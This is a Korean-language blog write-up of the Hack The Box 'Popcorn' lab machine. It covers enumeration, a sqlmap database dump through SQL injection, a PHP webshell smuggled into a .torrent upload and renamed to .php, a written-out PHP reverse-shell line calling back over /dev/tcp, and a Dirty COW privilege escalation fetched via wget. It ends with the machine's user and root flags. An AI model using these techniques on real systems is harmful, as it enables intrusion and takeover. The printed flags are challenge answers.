-
[HTB] Popcorn WriteupWargame/Hack The Box 2023. 3. 31. 01:28
스캐닝을 통해 정보를 수집해보자.
nmap -sC -sS -sV -p- -O -o scanResult.txt 10.129.36.23
22, 80 포트가 오픈되어있음을 확인하여 추가적으로 취약점이 있나 확인해보았다.
nmap --script vuln 10.129.36.23 -p 22,80 -o nmapVulnScanResult.txt -Pn
/test 가 있다는 정보 외 다른 정보가 없어서,
gobuster를 통해 추가 파일이나 디렉토리 정보를 찾아보았다.
gobuster dir -k -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -u http://10.129.36.23/ -x .php,.html,.txt -o gobusterResult.txt
/test , /torrent, /rename 등 경로를 찾아서 확인해보았다.
test에는 phpinfo 정보가 있었다. 이를 통해 /var/www/ 가 웹루트라는 정보를 획득했다.
/torrent 에는 토렌트 관련 서비스가 오픈되어있었다.
/rename 에는 파일 이름을 바꿀 수 있는 API정보가 있었다. 이 때부터, php 웹쉘 파일을 규칙상 허용되는 확장자로 업로드 후 해당 API를 통해 .php로 바꿔 리버스 쉘을 따는 시나리오를 생각했고, 이를 우선적으로 확인해보기로 했다.
우선, /torrent/ 하위로 gobuster를 다시 한번 돌려보았다.
gobuster dir -k -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -u http://popcorn.htb/torrent/ -x .php,.html,.txt -o gobusterResult_torrent.txt
여러 정보 중 upload 라는 디렉토리가 흥미로워 기록해두었다.
/upload에 있는 파일 대상으로 /rename API를 테스트해보았는데, 정상실행됨을 확인했다.
.torrent 파일 업로드 후 API를 통해 .php로 바꿔주기를 시도하기 위해 회원가입을 하고, php webshell 파일을 ~.torrent 로 이름을 바꾸어 업로드를 시도했다.
하지만 확장자 외에도 파일을 검증하는 로직이 있는 듯 했다.
올바른 .torrent 파일에 php webshell 코드를 추가하여 시도하기로 하였다. 그래서 이미 업로드되어있는 Kali linux.torrent 파일을 다운로드 후 웹쉘 내용을 가장 하단에 추가해주었다.
그랬더니 이미 있는 파일이라는 메시지가 출력되었다.
그래서 파일 내용 일부를 변조한 후 다시 시도하였다.
내용을 변조하여 중복되지 않게 해서 그런지 업로드에 성공했다.
하지만 /upload에 업로드 성공한 파일들이 없었다.
문제 서버 재부팅되었음 다른 취약 포인트를 찾다가 user를 조회하는 기능에서 Sql injection이 의심되는 현상이 발생했다.
싱글쿼터를 넣어보니 sql 관련 에러메시지가 노출되었기 때문이다.
아래 명령어를 통해서 모든 데이터베이스를 dump해보았다.
sqlmap -r sqli.txt -p username --dump-all
꽤나 방대한 자료가 나왔다. 그 중 계정 정보같은경우는 admin계정의 패스워드 해시를 크랙 할 수 없었다.
하지만 /torrent/torrents/ 하위에 업로드한 파일들이 .btf 화 되어 저장된다는것을 확인했다.
url직접 접근을 통해 유효함을 확인했다.
앞서 계획한 시나리오대로 해당 파일을 .php파일로 이름을 변경하였다.
변경 자체는 성공했지만, php코드를 읽는 과정에서 에러가 발생하였다.
위와 같은 에러가 계속 발생했는데.. 아래 과정을 거쳐서 모든 에러를 잡았다.
내용은, Unexpected character 에러나 php 코드가 실행되는데 방해가 되는 요소들을 전부 'A'로 Replace 해가면서 에러를 잡았다.
vi webshell.torrent :%s/"/A :%s/[\x07]/B ... :%s/[^[:alnum:][:space:]\$\_\;\?\:\.\,\!\@\#\$\%\^\&\*\(\)\-\+\=\[\]\{\}\|\~\'\"\\\x20-\x7F]/A/g :$s/!/A :%s/[\x00-\x1f\x80-\xff]/A/g :%s/</A/g :%s/>/A/g
업로드가 성공하면 아래와 같이 해시값이 id로 부여되는데, 그 값이 /torrent/torrents/ 하위의 .btf 파일의 이름이다.
에러가 잡힌 파일을 업로드 후 .php로 업로드를 하였고,
웹쉘이 유효하여 RCE가 정상 실행됨을 확인했다.
서버에 nc가 설치되어있지 않았기 때문에 바로 리버스 쉘을 공격자 서버로 전송하는 php파일을 만들어 다시 업로드 하였다.
<?php exec("/bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.14.29/6338 0>&1'"); ?>
리버스쉘을 획득했고, user.txt 를 얻을 수 있었다.
권한 상승을 위해 이것저것 해보다가 잘 안되어서 OS 버전의 커널 취약점을 의심해보았다.
서버의 버전 범위에 여러 취약점을 찾고 시도해보았다. 그중 "Dirty Cow"라고 불리는 취약점을 이용해보았다.
POC 코드를 searchsploit을 활용하여 다운로드 후,
searchsploit -m 40839 python3 -m http.server 8888 wget http://공격자서버:8888/40839.c
해당 .c 파일을 대상 서버로 옮기기위해 공격자 서버 open 후 타겟 서버에서 wget을 통해 이를 다운로드 시키기로 하였다.
POC 파일 내 안내되어있는 대로 컴파일 후 실행하였다. 해당 취약점은 /etc/passwd 파일을 조작하는 내용으로써 new password를 입력하면 루트 권한의 'firefart' 계정이 공격자가 입력한 패스워드로 생성되는 내용이다.
익스플로잇 파일을 실행 시킨 후 꽤 오랜 시간이 지난 후에 성공 메시지가 뜨면서 권한 상승에 성공하여 root.txt 또한 획득 할 수 있었다.
[user] 2d0b16fc13933c5301cff91a2813b36e
[root] 792f12e48d90785b655eb3fe79b07399
반응형'Wargame > Hack The Box' 카테고리의 다른 글
[HTB] LoveTok Writeup (0) 2023.04.12 [HTB] Weather App Writeup (0) 2023.04.07 [HTB] Phonebook Writeup (0) 2023.03.28 [HTB] Help Writeup (0) 2023.03.16 [HTB] Templated Writeup (0) 2023.03.14